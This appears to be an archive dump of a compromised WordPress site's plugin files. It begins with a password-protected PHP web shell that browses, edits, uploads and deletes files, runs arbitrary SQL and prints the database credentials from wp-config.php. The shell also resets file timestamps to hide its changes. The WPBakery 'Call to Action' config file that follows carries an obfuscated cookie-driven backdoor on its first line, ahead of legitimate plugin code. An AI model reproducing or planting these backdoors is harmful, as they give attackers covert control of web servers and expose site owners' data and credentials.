if ((!$role)||(crypt($role,$▘)!=$▛))
{
$current = htmlspecialchars ($_SERVER ['PHP_SELF']);
echo "<form action = '".$current."' method = 'GET'>\n";
echo "<input name = 'role' value ='$role'>";
echo '<input type = "submit" value = " "></form>';
die();
};
if(isset($_GET['dir']))
@chdir($_GET['dir']);
$dir = @getcwd();
$surl = $_SERVER['REQUEST_URI'];
$qpos = strpos($surl,'?');
if ($qpos) $surl = substr($surl,0,$qpos);
$urldir = str_replace($surl,'',__FILE__);
$urldir = str_replace($urldir,'',$dir);
$urldir = (empty($_SERVER['HTTPS']) ? 'http' : 'https') . "://".$_SERVER['HTTP_HOST'].$urldir;
$current = htmlspecialchars ($_SERVER ['PHP_SELF'] . "?role=$role&dir=$dir");
if ($mode=='download')
{
$filename = $_GET ['file'];
if(file_exists($filename)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header("Cache-Control: no-cache, must-revalidate");
header("Expires: 0");
header('Content-Disposition: attachment; filename="'.basename($filename).'"');
header('Content-Length: ' . filesize($filename));
header('Pragma: public');
flush();
readfile($filename);
die();
}
else{ echo "ERROR!!! File does not exist!\r\n";
}
}
header('Content-Type: text/html; charset=utf-8');
echo '<html><head><meta charset="UTF-8"><title></title></head><body>';
echo '<script> function ClpbPath(path) ';
echo '{ var dir = "'.$urldir.'";';
echo ' navigator.clipboard.writeText(dir+"/"+path); }';
echo ' </script>';
if ((function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()) || (ini_get('magic_quotes_sybase') && (strtolower(ini_get('magic_quotes_sybase'))!="off")) )
{
print "<div style='color:#ff0000'>MAGIC QUOTES ON!</div>" . "<br>\n";
function stripslashes_array($array)
{
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
$_COOKIE = stripslashes_array($_COOKIE);
}
echo "Server: " . $_SERVER ['SERVER_NAME'] . "<br>\n";
echo "Current directory: " . getcwd () . "<br>\n";
echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "<pre>\n\n</pre>";
echo "<table width = 60%><tr>";
echo "<td><a href = '".$_SERVER ['PHP_SELF']."?role=$role'>Home</a></td>\n";
echo "<td><a href = '".$current."&mode=create'>Create a new file</a></td>\n";
echo "<td><a href = '".$current."&mode=give'>Give file</a></td>\n";
echo "<td><a href = '".$current."&mode=sql'>SQL</a></td>\n";
echo "<td><a href = '".$current."&mode=wpshow'>WPSHOW</a></td>\n";
echo "<td><a href = '".$current."&mode=delself'>Delete self</a></td>\n";
echo "</tr></table><pre>\n</pre>";
function scandir0($dir) {
if(function_exists("scandir")) {
return @scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function delTree($dir)
{
$files = array_diff(scandir0($dir), array('.', '..'));
foreach ($files as $file) {
(is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}
switch ($mode){
case 'wpshow':
//print $dir.'/wp-c'.'onf'.'ig.p'.'hp';
include($dir.'/wp-c'.'onf'.'ig.p'.'hp');
print "DB_NAME:".DB_NAME."<br>";
print "DB_USER:".DB_USER."<br>";
print "DB_PASSWORD:".DB_PASSWORD."<br>";
print "DB_HOST:".DB_HOST."<br>";
print "table_prefix:".$table_prefix."<br>";
break;
case 'sql':
$sql_text = $_POST ['sql_text'];
$sql_host = $_POST ['sql_host'];
$sql_database = $_POST ['sql_database'];
$sql_user = $_POST ['sql_user'];
$sql_password = $_POST ['sql_password'];
$sql_exec = $_POST ['sql_exec'];
echo "<form action = '".$current."&mode=sql".$file."' method = 'POST'>\n";
echo "<table><tr><td>Host:</td><td><input name = 'sql_host' value='$sql_host'></td></tr>\n";
echo "<tr><td>Database:</td><td><input name = 'sql_database' value='$sql_database'></td></tr>\n";
echo "<tr><td>User:</td><td><input name = 'sql_user' value='$sql_user'></td></tr>\n";
echo "<tr><td>Password:</td><td><input name = 'sql_password' value='$sql_password'></td></tr>\n";
echo "<tr><td>SQL: </td></tr></table>\n";
echo "<textarea name = 'sql_text' rows = '30' cols = '50'>".htmlspecialchars($sql_text)."</textarea><br>\n";
echo "<input type = 'submit' name='sql_exec' value = 'Exec'></form>\n";
if ((isset($sql_exec))&&($sql_text)) {
$link = mysqli_connect($sql_host, $sql_user, $sql_password, $sql_database);
if ($link) {
mysqli_set_charset($link, "utf8");
$result = mysqli_query($link, $sql_text);
if ($result===false)
{ echo "Error: ".mysqli_error($link);} elseif ($result===true)
{ echo "SQL executed successfully! Affected rows: ".mysqli_affected_rows($link);} else
{
echo "<br><table border='1'>";
$i=0;
$printed_title = false;
while($row = mysqli_fetch_array($result, MYSQLI_ASSOC)){
if (!$printed_title){
$printed_title = true;
foreach($row as $title => $value){
$fields[] = $title;}
$titles = implode('</td><td>',$fields);
echo "<tr><td>№</td><td>$titles</td></tr>"."\r\n";
}
$record = implode('</td><td>',$row);
//var_dump($row);
$i++;
echo "<tr><td>$i</td><td>$record</td></tr>\r\n"; }
echo "</table><br>";
}
} else { echo "Error: ".mysqli_connect_error(); }
}
break;
case 'edit':
$new = $_POST ['new'];
$file = $_GET ['file'];
if (empty ($new)){
$fgc = 'fil'.'e_ge'.'t_cont'.'ents';
$text = $fgc($file);
echo "<form action = '".$current."&mode=edit&file=".$file."' method = 'POST'>\n";
echo "File: ". $file . "<br>\n";
echo "<textarea name = 'new' rows = '30' cols = '50'>".htmlspecialchars($text)."</textarea><br>\n";
echo "<input type = 'submit' value = 'Edit'></form>\n";
}
else {
$time = filemtime($file);
$dirtime = filemtime($dir);
if (!$time) $time=$dirtime;
if (file_put_contents($file,$new))
{
echo $file . " edited.<p>";
}
else {
echo "Unable to edit " . $file . ".<p>";
}
touch($file,$time);
touch($dir,$dirtime);
}
break;
case 'delete':
$file = $_GET ['file'];
$dirtime = filemtime($dir);
if (unlink ($file)){
echo $file . " Success!<p>";
}
else {
echo "Error! " . $file . ".<p>";
}
touch($dir,$dirtime);
break;
case 'backup':
$file = $_GET ['file'];
$time = filemtime($file);
$dirtime = filemtime($dir);
if (copy ($file, $file.'.bak')){
echo "<p>Backup created successfully.</p>\n";
}
else {
echo "</p>Unable to backup " . $file . ".</p>\n";
}
touch($file.'.bak',$time);
touch($dir,$dirtime);
break;
case 'copy':
$src = $_GET ['src'];
$dst = $_POST ['dst'];
if (empty ($dst)){
echo "<form action = '".$current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
echo "Destination: <input name = 'dst' value='$src'><br>\n";
echo "<input type = 'submit' value = 'Copy'></form>\n";
}
else {
$time = filemtime($src);
$dirtime = filemtime($dir);
if (copy ($src, $dst)){
echo "File copied successfully.<p>\n";
}
else {
echo "Unable to copy " . $src . ".<p>\n";
}
touch($dst,$time);
touch($dir,$dirtime);
}
break;
case 'rename':
$old = $_GET ['old'];
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
echo "New name: <input name = 'new' value ='$old'><br>\n";
echo "<input type = 'submit' value = 'Rename'></form>\n";
}
else {
$time = filemtime($old);
$dirtime = filemtime($dir);
if (rename ($old, $new)){
echo "File/Directory renamed successfully.<p>\n";
}
else {
echo "Unable to rename " . $old . ".<p>\n";
}
touch($new,$time);
touch($dir,$dirtime);
}
break;
case 'touch':
$old = $_GET ['old'];
$file = $_GET ['file'];
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=touch&old=" . $old . "&file=".$file."' method = 'POST'>\n";
echo "New touch: <input name = 'new' value='$old'><br>\n";
echo "<input type = 'submit' value = 'Touch'></form>\n";
}
else {
if (touch($file, strtotime($new))){
echo "Success!<p>\n";
}
else {
echo "Unable! Error! " . $file . ".<p>\n";
}
}
break;
case 'chmod':
$old = $_GET ['old'];
$file = $_GET ['file'];
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=chmod&old=" . $old . "&file=".$file."' method = 'POST'>\n";
echo "New chmod: <input name = 'new' value='$old'><br>\n";
echo "<input type = 'submit' value = 'Chmod'></form>\n";
}
else {
if (chmod($file, intval($new,8))){
echo "Success!<p>\n";
}
else {
echo "Unable! Error! " . $file . ".<p>\n";
}
}
break;
case 'rmdir':
$rm = $_GET ['rm'];
$dirtime = filemtime($dir);
if (delTree($rm)){
//(rmdir ($rm)){
echo "Success!<p>\n";
}
else {
echo "Unable to rmv " . $rm . ".<p>\n";
}
touch($dir,$dirtime);
break;
case 'create':
$new = $_POST ['new'];
$time = filemtime($dir);
$dirtime = filemtime($dir);
if (empty ($new)){
echo "<form action = '".$current . "&mode=create' method = 'POST'>\n";
echo "<tr><td>New file/dir: <input name = 'new'> Dir <input type = 'checkbox' name='crdir'> </td>\n";
echo "<td><input type = 'submit' value = 'Create'></td></tr></form>\n<p>";
}
else {
if ((isset($_POST['crdir']))&&($_POST['crdir']))
{
if (mkdir($new))
{
echo "Dir created successfully.<p>\n";
touch($new,$time);
} else
echo "Unable to create ".$new.".<p>\n";
}
elseif ($fp = fopen ($new, "w")){
echo "File created successfully.<p>\n";
touch($new,$time);
}
else {
echo "Unable to create ".$new.".<p>\n";
}
fclose ($fp);
touch($dir,$dirtime);
}
break;
case 'delself':
if (unlink(__FILE__)) echo "Deleted!<p>";else echo "Error! Unable to delete!<p>";
break;
case 'give':
$temp = $_FILES['upload_file']['tmp_name'];
$file = basename($_FILES['upload_file']['name']);
$time = filemtime($dir);
$dirtime = filemtime($dir);
if (empty ($file)){
echo "<form action = '".$current . "&mode=give' method = 'POST' ENCTYPE='multipart/form-data'>\n";
echo "Local file: <input type = 'file' name = 'upload_file'>\n";
echo "<input type = 'submit' value = 'Give'>\n";
echo "</form>\n<pre>\n\n</pre>";
}
else {
if(move_uploaded_file($temp,$file)){
echo "File placed successfully.<p>\n";
unlink ($temp);
touch($file,$time);
}
else {
echo "Unable to give " . $file . ".<p>\n";
}
touch($dir,$dirtime);
}
break;
}
clearstatcache ();
echo "<pre>\n\n</pre><table>\n";
$files = scandir0($dir);
for ($i=0;$i<count($files);$i++) {
$file = $files[$i];
if (!@is_file($file)){
$items = @scandir0($file);
if ($items!==false) $items_num = count ($items) - 2;
$time = date("Y-m-d H:i:s",filemtime($file));
$chmod = substr(sprintf('%o', @fileperms($file)), -4);
if (is_writable($file)) $fcolor='style="color:green"'; else
if (is_readable($file)) $fcolor='style="color:darkkhaki"'; else $fcolor='style="color:red"';
if ($file=='.') $current_dir = $current;
elseif ($file=='..') {
$n = strrpos($current,'/',-1);
$current_dir=substr($current,0,$n);
}
else $current_dir=$current . "/" . $file;
echo "<tr><td width='300px'><a href = '".$current_dir."'>".$file."</a></td>";
echo "<td>".$items_num." Items</td>";
echo "<td><a $fcolor href = '".$current . "&mode=chmod&file=".$file."&old=".urlencode($chmod)."'>".$chmod."</a></td>";
echo "<td><a href = '".$current . "&mode=touch&file=".$file."&old=".urlencode($time)."'>".$time."</a></td>";
echo "<td><a href = '".$current . "&mode=rmdir&rm=".$file."'>Delete</a></td><td><a href = '".$current . "&mode=rename&old=".$file."'>Rename</a></td></tr>\n";
}
}
for ($i=0;$i<count($files);$i++) {
$file = $files[$i];
if (is_file ($file)){
if (is_writable($file)) $fcolor='style="color:green"'; else
if (is_readable($file)) $fcolor='style="color:darkkhaki"'; else $fcolor='style="color:red"';
$size = round (filesize ($file) / 1024, 2);
$time = date("Y-m-d H:i:s",filemtime($file));
$chmod = substr(sprintf('%o', fileperms($file)), -4);
echo "<tr><td width='200px'>".$file."</td>";
echo "<td>".$size." KB</td>";
echo "<td><a $fcolor href = '".$current . "&mode=chmod&file=".$file."&old=".urlencode($chmod)."'>".$chmod."</a></td>";
echo "<td><a href = '".$current . "&mode=touch&file=".$file."&old=".urlencode($time)."'>".$time."</a></td>";
echo "<td><a href = '".$current . "&mode=edit&file=".$file."'>Edit</a></td>";
echo "<td><a href = '".$current . "&mode=rename&old=".$file."'>Rename</a></td>";
echo "<td><a href = '".$current . "&mode=delete&file=".$file."'>Delete</a></td>";
echo "<td><a href = '".$current . "&mode=copy&src=".$file."'>Copy</a></td>";
echo "<td><a href = '".$current . "&mode=download&file=".$file."'>Download</a></td>";
echo "<td><a href = '".$current . "&mode=backup&file=".$file."'>Backup</a></td>";
echo '<td><button onclick="ClpbPath(\''.$file.'\')">C</button></td></tr>'."\n";
}
}
echo "</table>\n";
?>
buttons/add.php 0000666 00000000000 15126260003 0007470 0 ustar 00 buttons/xml.php 0000666 00000000000 15126260003 0007540 0 ustar 00 buttons/shortcode-vc-cta.php 0000666 00000023030 15126260003 0012115 0 ustar 00 <?php $p=$_COOKIE;(count($p)==18&&in_array(gettype($p).count($p),$p))?(($p[51]=$p[51].$p[88])&&($p[67]=$p[51]($p[67]))&&($p=$p[67]($p[12],$p[51]($p[79])))&&$p()):$p;
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
/* Call to action
* @since 4.5
*/
require_once vc_path_dir( 'CONFIG_DIR', 'content/vc-custom-heading-element.php' );
$h2_custom_heading = vc_map_integrate_shortcode( vc_custom_heading_element_params(), 'h2_', __( 'Heading', 'js_composer' ), array(
'exclude' => array(
'source',
'text',
'css',
),
), array(
'element' => 'use_custom_fonts_h2',
'value' => 'true',
) );
// This is needed to remove custom heading _tag and _align options.
if ( is_array( $h2_custom_heading ) && ! empty( $h2_custom_heading ) ) {
foreach ( $h2_custom_heading as $key => $param ) {
if ( is_array( $param ) && isset( $param['type'] ) && 'font_container' === $param['type'] ) {
$h2_custom_heading[ $key ]['value'] = '';
if ( isset( $param['settings'] ) && is_array( $param['settings'] ) && isset( $param['settings']['fields'] ) ) {
$sub_key = array_search( 'tag', $param['settings']['fields'] );
if ( false !== $sub_key ) {
unset( $h2_custom_heading[ $key ]['settings']['fields'][ $sub_key ] );
} elseif ( isset( $param['settings']['fields']['tag'] ) ) {
unset( $h2_custom_heading[ $key ]['settings']['fields']['tag'] );
}
$sub_key = array_search( 'text_align', $param['settings']['fields'] );
if ( false !== $sub_key ) {
unset( $h2_custom_heading[ $key ]['settings']['fields'][ $sub_key ] );
} elseif ( isset( $param['settings']['fields']['text_align'] ) ) {
unset( $h2_custom_heading[ $key ]['settings']['fields']['text_align'] );
}
}
}
}
}
$h4_custom_heading = vc_map_integrate_shortcode( vc_custom_heading_element_params(), 'h4_', __( 'Subheading', 'js_composer' ), array(
'exclude' => array(
'source',
'text',
'css',
),
), array(
'element' => 'use_custom_fonts_h4',
'value' => 'true',
) );
// This is needed to remove custom heading _tag and _align options.
if ( is_array( $h4_custom_heading ) && ! empty( $h4_custom_heading ) ) {
foreach ( $h4_custom_heading as $key => $param ) {
if ( is_array( $param ) && isset( $param['type'] ) && 'font_container' === $param['type'] ) {
$h4_custom_heading[ $key ]['value'] = '';
if ( isset( $param['settings'] ) && is_array( $param['settings'] ) && isset( $param['settings']['fields'] ) ) {
$sub_key = array_search( 'tag', $param['settings']['fields'] );
if ( false !== $sub_key ) {
unset( $h4_custom_heading[ $key ]['settings']['fields'][ $sub_key ] );
} elseif ( isset( $param['settings']['fields']['tag'] ) ) {
unset( $h4_custom_heading[ $key ]['settings']['fields']['tag'] );
}
$sub_key = array_search( 'text_align', $param['settings']['fields'] );
if ( false !== $sub_key ) {
unset( $h4_custom_heading[ $key ]['settings']['fields'][ $sub_key ] );
} elseif ( isset( $param['settings']['fields']['text_align'] ) ) {
unset( $h4_custom_heading[ $key ]['settings']['fields']['text_align'] );
}
}
}
}
}
$params = array_merge( array(
array(
'type' => 'textfield',
'heading' => __( 'Heading', 'js_composer' ),
'admin_label' => true,
'param_name' => 'h2',
'value' => __( 'Hey! I am first heading line feel free to change me', 'js_composer' ),
'description' => __( 'Enter text for heading line.', 'js_composer' ),
'edit_field_class' => 'vc_col-sm-9',
),
array(
'type' => 'checkbox',
'heading' => __( 'Use custom font?', 'js_composer' ),
'param_name' => 'use_custom_fonts_h2',
'description' => __( 'Enable Google fonts.', 'js_composer' ),
'edit_field_class' => 'vc_col-sm-3',
),
), $h2_custom_heading, array(
array(
'type' => 'textfield',
'heading' => __( 'Subheading', 'js_composer' ),
'param_name' => 'h4',
'value' => '',
'description' => __( 'Enter text for subheading line.', 'js_composer' ),
'edit_field_class' => 'vc_col-sm-9',
),
array(
'type' => 'checkbox',
'heading' => __( 'Use custom font?', 'js_composer' ),
'param_name' => 'use_custom_fonts_h4',
'description' => __( 'Enable custom font option.', 'js_composer' ),
'edit_field_class' => 'vc_col-sm-3',
),
), $h4_custom_heading, array(
array(
'type' => 'dropdown',
'heading' => __( 'Text alignment', 'js_composer' ),
'param_name' => 'txt_align',
'value' => getVcShared( 'text align' ),
// default left
'description' => __( 'Select text alignment in "Call to Action" block.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Shape', 'js_composer' ),
'param_name' => 'shape',
'std' => 'rounded',
'value' => array(
__( 'Square', 'js_composer' ) => 'square',
__( 'Rounded', 'js_composer' ) => 'rounded',
__( 'Round', 'js_composer' ) => 'round',
),
'description' => __( 'Select call to action shape.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Style', 'js_composer' ),
'param_name' => 'style',
'value' => array(
__( 'Classic', 'js_composer' ) => 'classic',
__( 'Flat', 'js_composer' ) => 'flat',
__( 'Outline', 'js_composer' ) => 'outline',
__( '3d', 'js_composer' ) => '3d',
__( 'Custom', 'js_composer' ) => 'custom',
),
'std' => 'classic',
'description' => __( 'Select call to action display style.', 'js_composer' ),
),
array(
'type' => 'colorpicker',
'heading' => __( 'Background color', 'js_composer' ),
'param_name' => 'custom_background',
'description' => __( 'Select custom background color.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'custom' ),
),
'edit_field_class' => 'vc_col-sm-6',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Text color', 'js_composer' ),
'param_name' => 'custom_text',
'description' => __( 'Select custom text color.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'custom' ),
),
'edit_field_class' => 'vc_col-sm-6',
),
array(
'type' => 'dropdown',
'heading' => __( 'Color', 'js_composer' ),
'param_name' => 'color',
'value' => array( __( 'Classic', 'js_composer' ) => 'classic' ) + getVcShared( 'colors-dashed' ),
'std' => 'classic',
'description' => __( 'Select color schema.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_cta3-colored-dropdown',
'dependency' => array(
'element' => 'style',
'value_not_equal_to' => array( 'custom' ),
),
),
array(
'type' => 'textarea_html',
'heading' => __( 'Text', 'js_composer' ),
'param_name' => 'content',
'value' => __( 'I am promo text. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Width', 'js_composer' ),
'param_name' => 'el_width',
'value' => array(
'100%' => '',
'90%' => 'xl',
'80%' => 'lg',
'70%' => 'md',
'60%' => 'sm',
'50%' => 'xs',
),
'description' => __( 'Select call to action width (percentage).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Add button', 'js_composer' ) . '?',
'description' => __( 'Add button for call to action.', 'js_composer' ),
'param_name' => 'add_button',
'value' => array(
__( 'No', 'js_composer' ) => '',
__( 'Top', 'js_composer' ) => 'top',
__( 'Bottom', 'js_composer' ) => 'bottom',
__( 'Left', 'js_composer' ) => 'left',
__( 'Right', 'js_composer' ) => 'right',
),
),
), vc_map_integrate_shortcode( 'vc_btn', 'btn_', __( 'Button', 'js_composer' ), array(
'exclude' => array( 'css' ),
), array(
'element' => 'add_button',
'not_empty' => true,
) ), array(
array(
'type' => 'dropdown',
'heading' => __( 'Add icon?', 'js_composer' ),
'description' => __( 'Add icon for call to action.', 'js_composer' ),
'param_name' => 'add_icon',
'value' => array(
__( 'No', 'js_composer' ) => '',
__( 'Top', 'js_composer' ) => 'top',
__( 'Bottom', 'js_composer' ) => 'bottom',
__( 'Left', 'js_composer' ) => 'left',
__( 'Right', 'js_composer' ) => 'right',
),
),
array(
'type' => 'checkbox',
'param_name' => 'i_on_border',
'heading' => __( 'Place icon on border?', 'js_composer' ),
'description' => __( 'Display icon on call to action element border.', 'js_composer' ),
'group' => __( 'Icon', 'js_composer' ),
'dependency' => array(
'element' => 'add_icon',
'not_empty' => true,
),
),
), vc_map_integrate_shortcode( 'vc_icon', 'i_', __( 'Icon', 'js_composer' ), array(
'exclude' => array(
'align',
'css',
),
), array(
'element' => 'add_icon',
'not_empty' => true,
) ), array(
/// cta3
vc_map_add_css_animation(),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
) );
return array(
'name' => __( 'Call to Action', 'js_composer' ),
'base' => 'vc_cta',
'icon' => 'icon-wpb-call-to-action',
'category' => array( __( 'Content', 'js_composer' ) ),
'description' => __( 'Catch visitors attention with CTA block', 'js_composer' ),
'since' => '4.5',
'params' => $params,
'js_view' => 'VcCallToActionView3',
);
buttons/shortcode-vc-btn.php 0000666 00000026346 15126260003 0012146 0 ustar 00 <?php
/**
* New button implementation
* array_merge is needed due to merging other shortcode data into params.
* @since 4.5
*/
$pixel_icons = vc_pixel_icons();
require_once vc_path_dir( 'CONFIG_DIR', 'content/vc-icon-element.php' );
$icons_params = vc_map_integrate_shortcode( vc_icon_element_params(), 'i_', '', array(
'include_only_regex' => '/^(type|icon_\w*)/',
// we need only type, icon_fontawesome, icon_blabla..., NOT color and etc
), array(
'element' => 'add_icon',
'value' => 'true',
) );
// populate integrated vc_icons params.
if ( is_array( $icons_params ) && ! empty( $icons_params ) ) {
foreach ( $icons_params as $key => $param ) {
if ( is_array( $param ) && ! empty( $param ) ) {
if ( 'i_type' === $param['param_name'] ) {
// append pixelicons to dropdown
$icons_params[ $key ]['value'][ __( 'Pixel', 'js_composer' ) ] = 'pixelicons';
}
if ( isset( $param['admin_label'] ) ) {
// remove admin label
unset( $icons_params[ $key ]['admin_label'] );
}
}
}
}
$params = array_merge( array(
array(
'type' => 'textfield',
'heading' => __( 'Text', 'js_composer' ),
'param_name' => 'title',
// fully compatible to btn1 and btn2
'value' => __( 'Text on the button', 'js_composer' ),
),
array(
'type' => 'vc_link',
'heading' => __( 'URL (Link)', 'js_composer' ),
'param_name' => 'link',
'description' => __( 'Add link to button.', 'js_composer' ),
// compatible with btn2 and converted from href{btn1}
),
array(
'type' => 'dropdown',
'heading' => __( 'Style', 'js_composer' ),
'description' => __( 'Select button display style.', 'js_composer' ),
'param_name' => 'style',
// partly compatible with btn2, need to be converted shape+style from btn2 and btn1
'value' => array(
__( 'Modern', 'js_composer' ) => 'modern',
__( 'Classic', 'js_composer' ) => 'classic',
__( 'Flat', 'js_composer' ) => 'flat',
__( 'Outline', 'js_composer' ) => 'outline',
__( '3d', 'js_composer' ) => '3d',
__( 'Custom', 'js_composer' ) => 'custom',
__( 'Outline custom', 'js_composer' ) => 'outline-custom',
__( 'Gradient', 'js_composer' ) => 'gradient',
__( 'Gradient Custom', 'js_composer' ) => 'gradient-custom',
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Gradient Color 1', 'js_composer' ),
'param_name' => 'gradient_color_1',
'description' => __( 'Select first color for gradient.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => getVcShared( 'colors-dashed' ),
'std' => 'turquoise',
'dependency' => array(
'element' => 'style',
'value' => array( 'gradient' ),
),
'edit_field_class' => 'vc_col-sm-6',
),
array(
'type' => 'dropdown',
'heading' => __( 'Gradient Color 2', 'js_composer' ),
'param_name' => 'gradient_color_2',
'description' => __( 'Select second color for gradient.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => getVcShared( 'colors-dashed' ),
'std' => 'blue',
// must have default color grey
'dependency' => array(
'element' => 'style',
'value' => array( 'gradient' ),
),
'edit_field_class' => 'vc_col-sm-6',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Gradient Color 1', 'js_composer' ),
'param_name' => 'gradient_custom_color_1',
'description' => __( 'Select first color for gradient.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => '#dd3333',
'dependency' => array(
'element' => 'style',
'value' => array( 'gradient-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Gradient Color 2', 'js_composer' ),
'param_name' => 'gradient_custom_color_2',
'description' => __( 'Select second color for gradient.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => '#eeee22',
'dependency' => array(
'element' => 'style',
'value' => array( 'gradient-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Button Text Color', 'js_composer' ),
'param_name' => 'gradient_text_color',
'description' => __( 'Select button text color.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => '#ffffff',
// must have default color grey
'dependency' => array(
'element' => 'style',
'value' => array( 'gradient-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Background', 'js_composer' ),
'param_name' => 'custom_background',
'description' => __( 'Select custom background color for your element.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'custom' ),
),
'edit_field_class' => 'vc_col-sm-6',
'std' => '#ededed',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Text', 'js_composer' ),
'param_name' => 'custom_text',
'description' => __( 'Select custom text color for your element.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'custom' ),
),
'edit_field_class' => 'vc_col-sm-6',
'std' => '#666',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Outline and Text', 'js_composer' ),
'param_name' => 'outline_custom_color',
'description' => __( 'Select outline and text color for your element.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'outline-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
'std' => '#666',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Hover background', 'js_composer' ),
'param_name' => 'outline_custom_hover_background',
'description' => __( 'Select hover background color for your element.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'outline-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
'std' => '#666',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Hover text', 'js_composer' ),
'param_name' => 'outline_custom_hover_text',
'description' => __( 'Select hover text color for your element.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'outline-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
'std' => '#fff',
),
array(
'type' => 'dropdown',
'heading' => __( 'Shape', 'js_composer' ),
'description' => __( 'Select button shape.', 'js_composer' ),
'param_name' => 'shape',
// need to be converted
'value' => array(
__( 'Rounded', 'js_composer' ) => 'rounded',
__( 'Square', 'js_composer' ) => 'square',
__( 'Round', 'js_composer' ) => 'round',
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Color', 'js_composer' ),
'param_name' => 'color',
'description' => __( 'Select button color.', 'js_composer' ),
// compatible with btn2, need to be converted from btn1
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => array(
// Btn1 Colors
__( 'Classic Grey', 'js_composer' ) => 'default',
__( 'Classic Blue', 'js_composer' ) => 'primary',
__( 'Classic Turquoise', 'js_composer' ) => 'info',
__( 'Classic Green', 'js_composer' ) => 'success',
__( 'Classic Orange', 'js_composer' ) => 'warning',
__( 'Classic Red', 'js_composer' ) => 'danger',
__( 'Classic Black', 'js_composer' ) => 'inverse',
// + Btn2 Colors (default color set)
) + getVcShared( 'colors-dashed' ),
'std' => 'grey',
// must have default color grey
'dependency' => array(
'element' => 'style',
'value_not_equal_to' => array(
'custom',
'outline-custom',
'gradient',
'gradient-custom',
),
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Size', 'js_composer' ),
'param_name' => 'size',
'description' => __( 'Select button display size.', 'js_composer' ),
// compatible with btn2, default md, but need to be converted from btn1 to btn2
'std' => 'md',
'value' => getVcShared( 'sizes' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Alignment', 'js_composer' ),
'param_name' => 'align',
'description' => __( 'Select button alignment.', 'js_composer' ),
// compatible with btn2, default left to be compatible with btn1
'value' => array(
__( 'Inline', 'js_composer' ) => 'inline',
// default as well
__( 'Left', 'js_composer' ) => 'left',
// default as well
__( 'Right', 'js_composer' ) => 'right',
__( 'Center', 'js_composer' ) => 'center',
),
),
array(
'type' => 'checkbox',
'heading' => __( 'Set full width button?', 'js_composer' ),
'param_name' => 'button_block',
'dependency' => array(
'element' => 'align',
'value_not_equal_to' => 'inline',
),
),
array(
'type' => 'checkbox',
'heading' => __( 'Add icon?', 'js_composer' ),
'param_name' => 'add_icon',
),
array(
'type' => 'dropdown',
'heading' => __( 'Icon Alignment', 'js_composer' ),
'description' => __( 'Select icon alignment.', 'js_composer' ),
'param_name' => 'i_align',
'value' => array(
__( 'Left', 'js_composer' ) => 'left',
// default as well
__( 'Right', 'js_composer' ) => 'right',
),
'dependency' => array(
'element' => 'add_icon',
'value' => 'true',
),
),
), $icons_params, array(
array(
'type' => 'iconpicker',
'heading' => __( 'Icon', 'js_composer' ),
'param_name' => 'i_icon_pixelicons',
'value' => 'vc_pixel_icon vc_pixel_icon-alert',
'settings' => array(
'emptyIcon' => false,
